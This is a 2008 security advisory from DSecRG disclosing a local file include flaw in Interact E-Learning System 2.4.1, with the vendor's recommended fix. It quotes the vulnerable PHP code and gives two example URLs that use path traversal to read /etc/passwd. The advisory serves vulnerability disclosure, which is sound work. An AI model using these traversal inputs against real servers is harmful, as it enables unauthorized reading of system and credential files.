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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31
Application: Interact E-Learning System
Versions Affected: 2.4.1
Vendor URL: http://sourceforge.net/projects/cce-interact
Bug: Local File Include
Exploits: YES
Reported: 03.07.2008
Vendor response: 04.07.2008
Solution: YES
Date of Public Advisory: 21.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Interact E-Learning System system has local file include vulnerability in script help/help.php
Vulnerable GET parameters "module", "file".
Code
****
#################################################
$module = isset($_GET['module']) ? $_GET['module']:'';
$file = isset($_GET['file']) ? $_GET['file']:'';
...
$hpath=$CONFIG['BASE_PATH'].'/language/'.
$_SESSION['language'].'/help/'.$module.'/'.$file;
if (is_file($hpath)){
require_once($hpath);
} else {
require_once($CONFIG['BASE_PATH'].
'/language/default/help/'.$module.'/'.$file);
}
#################################################
Example:
http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../.
./../../etc/passwd%00
http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../..
/../../etc/passwd
Solution
********
This file is no longer required by the system. Remove it from installation.
Vendor response:
"I have posted an alert to users to remove this from their installations asap and will get it removed
from the next release of the package."
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting,
audit and penetration testing services, risk analysis and ISMS-related services and certification for
ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application
and database security problems with vulnerability reports, advisories and whitepapers posted regularly
on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
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